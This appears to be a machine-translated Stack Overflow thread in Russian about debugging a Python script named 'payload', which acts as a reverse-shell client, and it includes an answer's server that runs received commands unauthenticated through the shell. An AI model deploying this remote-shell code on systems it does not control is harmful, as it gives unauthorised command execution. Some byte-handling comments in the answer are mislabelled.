Я пытался сделать программу, которая выполняет системные команды в других системах. Получение этой ошибки, когда я даю команды для выполнения на терминале.
import socket
import subprocess
payload = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
payload.connect(("localhost",4444))
print("Successfully, Connected..!!")
while True:
cmd = payload.recv(2048)
if cmd == 'exit':
payload.close()
break
cmd = cmd.decode('utf-8')
output = subprocess.check_output(payload, shell=True)
payload.send(output)
вывод это
Traceback (most recent call last):
File "C:\Users\Wasii\Desktop\python-payload\payload.py", line 13, in <module>
output = subprocess.check_output(payload, shell=True)
File "C:\Users\Wasii\AppData\Local\Programs\Python\Python310\lib\subprocess.py", line 420, in check_output
return run(*popenargs, stdout=PIPE, timeout=timeout, check=True,
File "C:\Users\Wasii\AppData\Local\Programs\Python\Python310\lib\subprocess.py", line 501, in run
with Popen(*popenargs, **kwargs) as process:
File "C:\Users\Wasii\AppData\Local\Programs\Python\Python310\lib\subprocess.py", line 966, in __init__
self._execute_child(args, executable, preexec_fn, close_fds,
File "C:\Users\Wasii\AppData\Local\Programs\Python\Python310\lib\subprocess.py", line 1375, in _execute_child
args = list2cmdline(args)
File "C:\Users\Wasii\AppData\Local\Programs\Python\Python310\lib\subprocess.py", line 561, in list2cmdline
for arg in map(os.fsdecode, seq):
TypeError: 'socket' object is not iterable






Вы должны были передать cmd к subprocess.check_output, а не payload.
Вот как я бы закодировал сервер для обработки нескольких одновременных клиентов:
import socketserver
import subprocess
HOST = '127.0.0.1'
PORT = 4444
class MyHandler(socketserver.StreamRequestHandler):
def handle(self):
while True:
cmd = self.request.recv(2048).strip() # get rid of trailing newline if present:
cmd = cmd.decode('utf-8')
if cmd == 'exit':
break
output = subprocess.check_output(cmd, shell=True)
self.request.sendall(output)
try:
with socketserver.ThreadingTCPServer((HOST, PORT), MyHandler) as server:
print('Hit CTRL-C to terminate...')
server.serve_forever()
except KeyboardInterrupt:
print('Terminating.')
Обновлять
Согласно комментарию, сделанному AKX, если вы обеспокоены тем, что полная команда не может быть получена за один вызов socket.socket.recv, вы можете договориться, что команда должна завершаться специальным символом «конец команды». Затем вы читаете ввод по одному байту за раз, собирая команду, пока не увидите символ «конец команды». В приведенном ниже примере мы устанавливаем символ конца команды в качестве новой строки, которой может предшествовать возврат каретки. Таким образом, мы можем протестировать в Windows или Linux с помощью клиента telnet:
import socketserver
import subprocess
HOST = '127.0.0.1'
PORT = 4444
class MyHandler(socketserver.StreamRequestHandler):
def handle(self):
while True:
buf = []
# Command ends with a newline optionally preceded by a carriage return
# Accumulate byte stings until a newline is seen:
while True:
bytestring = self.request.recv(1)
if bytestring[0] == 10: # carriage return?
continue
if bytestring[0] != 13: # newline?
buf.append(bytestring)
else:
break # We have seen the end-of-command character
# Assemble all the 1-byte strings
cmd = b''.join(buf).decode('utf-8')
if cmd == 'exit':
break
output = subprocess.check_output(cmd, shell=True)
self.request.sendall(output)
try:
with socketserver.ThreadingTCPServer((HOST, PORT), MyHandler) as server:
print('Hit CTRL-C to terminate...')
server.serve_forever()
except KeyboardInterrupt:
print('Terminating.')
Следует отметить, что слепое получение до 2048 байтов из потокового сокета может привести к короткому чтению (если не все байты, отправленные другим концом, доступны) или частичному чтению сообщения. Для серьезного приложения вам потребуется некоторая инкапсуляция сообщений в потоке.
Я обновил ответ, чтобы предоставить код для обработки ситуации, когда один вызов recv может не возвращать всю команду ввода.
Хорошо, так лучше :) Для эффективности я бы лично увеличил чтение в буфер байтов и просто partition, чтобы увидеть, видели ли мы символ-разделитель, и сохранил возможную частичную команду на другом конце partition для начального значения следующей команды. буфер...
В идеале вы используете не telnet, а пользовательский клиент, который может добавлять к команде префикс длины. Смотрите мой ответ здесь.
Да, кодировка в стиле TLV была бы лучше. Так совпало, что я только что ответил на аналогичный вопрос сегодня с TLV...
Голосую за закрытие, так как опечатка:
payloadдолжно бытьcmd.